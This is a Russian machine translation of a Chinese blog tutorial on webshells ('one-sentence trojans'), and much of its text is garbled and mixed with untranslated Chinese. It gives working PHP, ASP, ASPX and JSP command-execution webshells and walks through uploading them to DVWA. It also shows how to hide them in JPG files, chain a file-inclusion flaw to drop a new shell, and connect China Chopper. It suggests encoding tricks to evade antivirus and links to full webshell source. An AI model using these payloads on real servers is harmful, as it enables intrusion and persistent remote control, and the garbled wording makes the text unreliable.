Всем привет, мы снова встретились, я ваш друг Цюаньчжаньцзюнь.
Во время многих проникновений,Специалисты по проникновению загрузят трояна, состоящего из одного предложения(Вебшелл для краткости)до сих порwebЗатем каталог службы повышает привилегии для получения системных разрешений.,Это верно независимо от asp, php, jsp, aspx.,Так что же такое троян, состоящий из одного предложения?
Давайте сначала взглянем на простейшего трояна, состоящего из одного предложения:
<?php @eval($_POST['attack']);?>
【Основные принципы】использоватьУязвимость загрузки файлов,Загрузите троян-предложение на целевой веб-сайт.,Затем вы можете локально передать Китайский кухонный нож.chopper.exe
Вы можете получить и контролировать весь каталог веб-сайта.。@значит позади Даже если ошибка выполнения,Ошибок тоже не сообщается。eval()
Функция указывает, что все строки операторов в круглых скобках выполняются как код.。$_POST['attack']
Представляет полученное со страницыattackЗначение этого параметра。
Среди них, если злоумышленник соответствует трем условиям, можно добиться успешного вторжения:
(1) Троянец был успешно загружен и не был уничтожен;
(2) Знать, где находится путь трояна;
(3) Загруженный троян может работать нормально.
Распространенные трояны, состоящие из одного предложения:
Троян для php одним предложением: <?php @eval($_POST['pass']);?>
Предложение asp: <%eval request ("pass")%>
Предложение от aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
Мы можем напрямую вставить эти операторы в файл asp/aspx/php на веб-сайте или напрямую создать новый файл, записать в него эти операторы, а затем загрузить файл на веб-сайт.
Для начала давайте посмотрим на оригинальный и простой PHP-троян, состоящий из одного предложения:
<?php @eval($_POST['cmd']); ?>
Видя это, я должен воздать должное мудрости моих предшественников. Для тех, кто немного разбирается в php,Или начинающий любитель безопасности,или скрипт-кидди,Первое, что я увидел, это то, что пароль — cmd.,Отправьте данные по почте,Но как это реализовать,но неизвестно,Далее мы анализируем, как исполняется приговор.
Что означает это предложение?
(1)phpКод должен быть написан на<?php ?>
в,Только тогда сервер сможет распознать, что это php-код.,Затем проанализируйте。
(2)@
Символ означает, что об ошибке не сообщается.,Даже если ошибка выполнения,Об ошибках также не сообщается.
Почему? Поскольку переменная не определена,Он был использован,Сервер дает дружеское напоминание:,твойxxxпеременная не определена。Разве это не раскрывает пароль??Итак, мы добавляем@
。
(3) Почему пароль cmd?
Тогда нам нужно понять смысл этого предложения.。phpв几个超全局变量:_GET、_POSTто естьв№1。
Примечание. Существует два метода передачи данных: get и post. Post сохраняет данные в теле сообщения, а get сохраняет данные в URL-адресе заголовка сообщения (например, xxx.php?a=2).
(4)Как понятьфункция оценки()
?
eval() выполняет строку как PHP-код.。
Например:eval("echo 'a'")
;Фактически это эквивалентно прямому echo 'a'
;Давайте посмотрим еще раз<?php eval($_POST['pw']); ?>
первый,Используйте метод post для получения переменной pw,Например, получил:pw=echo 'a'
;В это время код становится<?php eval("echo 'a';"); ?>
。Результаты следующие::
Вместе они означают: используйте метод post для получения переменной pw.,Выполните строку в переменной pw как код PHP. Так что это можно сыграть так: то есть,какой код вы хотите выполнить,Просто поместите код в переменную pw,Используйте сообщение, чтобы передать предложение Trojan. Хотите проверить, есть ли на целевом жестком диске порнографические фильмы?,доступныйphpфункция:opendir()
иreaddir()
и т. д.。Я хочу загрузить несколько порнографических видео,Подставим владельца сайта,Просто используйтеphpфункция:move_uploaded_file
,Разумеется, соответствующий html должен быть написан хорошо. Вы хотите выполнить команду cmd?,затем используйтеexec()
。
Конечно, предпосылка такова: в файле конфигурации PHP php.ini,выключать Безопасностьмодельsafe_mode = off
,тогда посмотри еще раз Список отключенных функций disable_functions = proc_open, popen, exec, system, shell_exec , удалите exec и убедитесь, что exec нет (некоторые cms удаляют его для облегчения обработки определенных функций).
Давайте посмотрим на эффект. POST-код выглядит следующим образом:
cmd=header("Content-type:text/html;charset=gbk");
exec("ipconfig",$out);
echo '<pre>';
print_r($out);
echo '</pre>';
Здесь мы видим, что система непосредственно выполняет системную команду. ТАК, теперь всем должно быть понятно, почему это предложение короткое и лаконичное!
Следование Уязвимость от DVWA загрузки файлы, давайте посмотрим, как использовать трояна, состоящего из одного предложения. Об Уязвимости загрузки файлов Вы можете прочитать следующие статьи:Уязвимость загрузки файлов。
[Подготовка к эксперименту] Сначала сохраните файл трояна Hack.php, состоящий из одного предложения, локально (на рабочем столе) (напишите его в Блокноте, а затем измените суффикс файла):
<?php @eval($_POST['pass']);?>
Затем войдите на платформу DVWA: http://127.0.0.1:8088/DVWA/index.php и приготовьтесь начать эксперимент.
В разделе «Низкий уровень безопасности» просмотрите фоновый исходный код:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{
$target_path} succesfully uploaded!</pre>";
}
}
?>
Из исходного кода было обнаружено, что низкий уровень не выполняет никакой проверки загруженных файлов. Таким образом, вы можете напрямую загрузить трояна PHP или ASP, состоящего из одного предложения. В этом примере используется PHP.
(1) Мы напрямую загружаем подготовленный троян, состоящий из одного предложения, и затем вы можете увидеть отраженный путь:
(2) Затем вы можете использовать прерыватель для подключения. Щелкните правой кнопкой мыши интерфейс прерывателя и нажмите «Добавить». Затем заполните соответствующие данные, как показано ниже:
“Китайский кухонный нож.”Инструкция по работе со страницей:
1. Это URL-адрес соединения, который представляет собой основной путь веб-сайта плюс путь сохранения, отображаемый при загрузке файлов; 2. Это пароль при подключении к чопперу, который представляет собой данные, представленные в одном предложении на картинке выше (в данном случае «pass»); 3. Это тип синтаксического анализа предложения, который может быть asp, php, aspx. Различные типы синтаксического анализа имеют разное содержимое предложений и разные суффиксы файлов.
(3) Затем вы увидите интерфейс успешного подключения:
(4) Затем дважды щелкните или щелкните правой кнопкой мыши «Управление файлами», чтобы войти в следующий интерфейс:
Мы увидели всю структуру и файлы веб-сайта и даже раскрыли всю дисковую память моего хост-компьютера! ! Допускаются любые незаконные добавления, удаления, проверки и модификации! ! Сайт (хост) упал...
Как можно успешно загрузить трояна? Обычно защитники фильтруют по типу, размеру и т. д. Кроме того, если условием является загрузка изображений, они также будут собраны. Даже если злоумышленник изменит тип файла, он не сможет пройти уровень сбора изображений. Итак, для обложки требуется изображение. Создайте троянского коня, спрятанного под картинкой. И в Linux, и в Windows есть соответствующие команды, которые могут объединять один файл с другим для достижения цели сокрытия.
Чтобы провести описанный выше эксперимент DVWA с высоким уровнем безопасности, сначала продолжайте просматривать исходный код:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{
$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
можно увидеть,Код высокого уровня считывает строку после последнего знака "." в имени файла.,Ожидайте ограничения типа файла по имени файла.,Поэтому необходимо, чтобы формат имени загружаемого файла был“*.jpg”
、“.jpeg”
、“*.png”
№1。в то же время,getimagesize()
функция更是限制了загрузить文件的Заголовок файла должен иметь тип изображения.。
Нам нужно замаскировать заголовок загруженного файла под изображение.,первыйиспользоватькоманда копирования
Поместите троянский файл одним предложениемHack.php
с обычными файлами изображенийClearSky.jpg
слить:
[Примечания] Следующее используется под командой CMD копированияделать“Изображение Трояна”шаги,в,
ClearSky.jpg/b
середина“b”выражать“двоичный файл”,hack.php/a
середина“a”выражатьФайл кода ASCII。
Создание файлов изображений с помощью трояновhack.jpg
:
Затем открываем сгенерированное Изображение Трояна, мы видим, что к концу файла изображения прикреплено предложение «Троян»:
Затем мы пытаемся преобразовать сгенерированный файл образа трояна.hack.jpg
загрузить,Загрузка прошла успешно! ! !
доступ Изображение Трояна:
Далее подайте кухонный нож.!!!!!!!!!!!
Но поскольку это Изображение Трояна, PHP-скрипт не разбирается, и чоппер не может подключиться к трояну:
Так как Изображение Трояна тоже не разбирается,Что делать? Программы высокого уровня позволяют загружать только изображения... не паникуйте,Здесь в сочетании с файлом, идущим в комплекте со стрельбищем DVWA, уязвимость можно успешно загрузить в PHP-троян и подключить к кухонному ножу.,Ниже приводится демонстрация атаки.
Сначала создайте новое Изображение Трояна с помощью описанного выше метода, PHP-скрипт, лежащий в основе файла изображения, изменится на:
<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>
Затем создайте новое Изображение Трояна, как показано ниже:
Затем загрузите его в DVWA, а затем используйте модуль уязвимости включения файлов для доступа к файлу трояна:
доступ的地址如下:http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg
,Как показано ниже:
в это времяDVWAФайл, содержащий уязвимость, автоматически создается по указанному пути.PHPФайл сценария троянского коня из одного предложенияmuma.php
,Как показано ниже:
В это время снова подключите кухонный нож, и соединение пройдет успешно:
До сих пор,Мы успешно объединили уязвимости включения файлов,在只能загрузить图片的文件загрузить功能处загрузить Изображение Трояна и сгенерируйте предложение Trojan. Наконец, я прикрепляю сообщение в блоге, представляющее Изображение Трояна+解析漏洞的использовать:PHPИзображение Трояна。
Даже если троянец сможет работать нормально, будет ли он через некоторое время уничтожен администратором? Как не быть убитым? Хотя троян был успешно загружен выше, пока администратор убивает вирус, все они могут быть уничтожены. Причем будет четко указано, что это бэкдор. Поэтому, как нападающий, вы должны знать различные техники убийства. Защита защитника очень проста. Всякий раз, когда на форуме появляется новая техника борьбы с убийствами, и сотрудники службы безопасности немедленно заносят ее в черный список, эта техника борьбы с убийствами становится неэффективной. Поэтому злоумышленникам необходимо продолжать внедрять инновации и изобретать новые методы борьбы с убийствами.
【Идеи против убийств】:
1. Перекодируйте исходный код.
2. Base64 закодирует трояна, состоящего из одного предложения, и сохранит его в «беспорядочном» коде. Посмотрите непосредственно на картинку:
3. Это по-прежнему трансформированный троян, состоящий из одного предложения, но на этот раз преобразование представляет собой преобразование пар ключ-значение в массиве. Очень сильный.
Я должен сказать, что чем непристойнее идея избежать убийства, тем лучше. Очень интересно учиться. В будущем, когда я овладею навыками проникновения, я буду изучать различные антивирусные приемы PHP-кода. Это очень весело, а идеи очень непристойные.
Пони и большая лошадь — это все виды бэкдоров на веб-страницах.,используется для контроля разрешений веб-сайта,ЧтоОсновное отличие в том, что пони используются для загрузки больших лошадей.。通过小马загрузить大马,Теперь у меня есть вопрос,Это не лишнее.,Зачем использовать пони для загрузки большой лошади?,И почему бы просто не загрузить его в Малайзию и не использовать. На самом деле это потому, что пони небольшого размера.,У нее более сильное скрытое преимущество, чем у Малайзии.,И есть уязвимость, связанная с ограничением размера загрузки файлов.,Вот почему есть пони,Пони также часто используют для изготовления запасных задних дверей и т. д.
Размер Pony очень маленький, всего 2 КБ, и скрытие тоже очень хорошее, потому что функция Pony очень проста, это функция загрузки, и больше ничего нет. Его функция - только загружать файлы, поэтому он может это делать. Пройдите несколько проверок безопасности. Xiaoma предназначена для удобства загрузки в Малайзию. Поскольку многие лазейки имеют ограничения на загрузку, Малайзия не может загружать, поэтому вы можете сначала загрузить Xiaoma, а затем загрузить Малайзию через Xiaoma. Pony также можно запустить через уязвимость IIS в сочетании с композицией изображений.
В фоновом режиме мы используем троян JSP, написанный на языке Java. В отличие от предыдущего трояна, состоящего из одного предложения, троян JSP в Chopper длиннее. Ниже приведен простой пример JSP:
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
Если его можно проанализировать после успешной загрузки,просить:http://серверIP:порт/Shell/cmd.jsp?pwd=123&i=ipconfig
Команда может быть выполнена.
Размер Малайзии относительно велик, обычно около 50 КБ, что во много раз больше, чем у Pony. Однако соответствующие функции также очень мощные, включая управление данными, командные операции, управление базами данных, распаковку и повышение привилегий. очень мощные. Как только веб-сайт будет создан такой Малайзией, он фактически окажется под контролем этой Малайзии. Сокрытие в Малайзии не является хорошим, поскольку оно включает в себя большое количество секретного кода, который легко сканируется программами безопасности.
Китайский кухонный предложение ножа не учитывается. Операция предложения чоппера через клиента также очень эффективна. Код одного предложения может быть таким же, как и реализованный в Малайзии. Мы говорим о Пони. и большая лошадь是指网页类型середина的,Сяо Ма просто поможет загрузить Да Ма.,Это его основная функция,Также пони можно использовать как запасной ход.,В Малайзии обычно легко найти,Пони скорее всего будет спрятан в системных папках.
Давайте рассмотрим пример использования Malaysia: Загрузите PHP Malaysia в DVWA на виртуальной машине (исходный код приложен в конце):
доступ木马文件123.php
,Введите пароль 123456, чтобы войти в список функций Малайзии.,На следующем рисунке показана функция управления файлами:
Продолжите доступ к функции выполнения команд (другие функции не показаны):
Наконец, прикрепите код PHP Malaysia (код слишком длинный).,Ссылка на облачный диск Baidu):
https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A
Код извлечения:56pd。Также доступенJSPСправочный адрес Малайзии:https://blog.csdn.net/weixin_34248023/article/details/93094456
。
Webshell — это среда выполнения команд, существующая в виде веб-файлов, таких как asp, php, jsp или cgi. Ее также можно назвать веб-бэкдором.。После того, как хакер проник на сайт,Обычно файлы бэкдора asp или php смешиваются с обычными файлами веб-страниц в каталоге WEB сервера веб-сайта.,Затем вы можете использовать браузер для доступа к бэкдору asp или php.,Получите среду выполнения команд для управления сервером сайта.。
Webshell можно разделить на трояны-скрипты PHP, трояны-скрипты ASP, трояны-скрипты на основе .NET и трояны-скрипты JSP, основанные на скриптах. За рубежом также существуют динамические веб-страницы, написанные на языке сценариев Python, и, конечно же, существуют связанные с ними веб-шеллы. Webshell также делится на «больших лошадей», «маленьких лошадей» и троянцев, состоящих из одного предложения, в зависимости от их функций.,Например:<%eval request(“pass”)%>
通常把这句话写入一个文档в,Затем измените имя файла наxx.asp。然后传到сервер上面。использоватьevalметод будетrequest(“pass”)
Преобразование в выполнение кода,requestфункция的作использовать是应использовать外部文件。Это эквивалент клиентской конфигурации трояна в одном предложении.。Конкретная классификация выглядит следующим образом.:
Издатель: Лидер стека программистов полного стека, укажите источник для перепечатки: https://javaforall.cn/143133.html Исходная ссылка: https://javaforall.cn